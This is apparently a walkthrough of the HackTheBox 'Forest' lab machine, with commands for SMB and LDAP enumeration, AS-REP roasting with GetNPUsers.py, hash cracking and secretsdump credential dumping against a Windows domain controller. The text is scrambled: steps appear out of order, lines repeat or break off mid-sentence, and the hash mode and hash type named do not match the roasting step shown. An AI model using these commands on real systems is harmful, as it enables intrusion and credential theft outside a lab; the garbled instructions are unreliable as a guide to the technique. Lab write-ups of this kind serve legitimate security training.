Forest Hackthebox Walkthrough Jun 2026

And you’re at C:\Users\Administrator\Desktop\root.txt . The final flag.

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -no-pass -usersfile users.txt

Crack with john or hashcat (mode 13100):

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nmap -sC -sV -oA forest_scan 10.10.10.161

From your Kali machine, use impacket-secretsdump with the svc-alfresco credentials:

Extract the hash (from $krb5tgs$... ) and save it to hash.txt . And you’re at C:\Users\Administrator\Desktop\root

Before starting, ensure you have:

ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts

Now you have sebastian:P@ssw0rd123! . You try WinRM again: It is widely considered an excellent introduction to

crackmapexec smb 10.10.10.161 -u '' -p ''

Where users.txt is every user you scraped from LDAP. The script runs… and a few seconds later, a hash drops: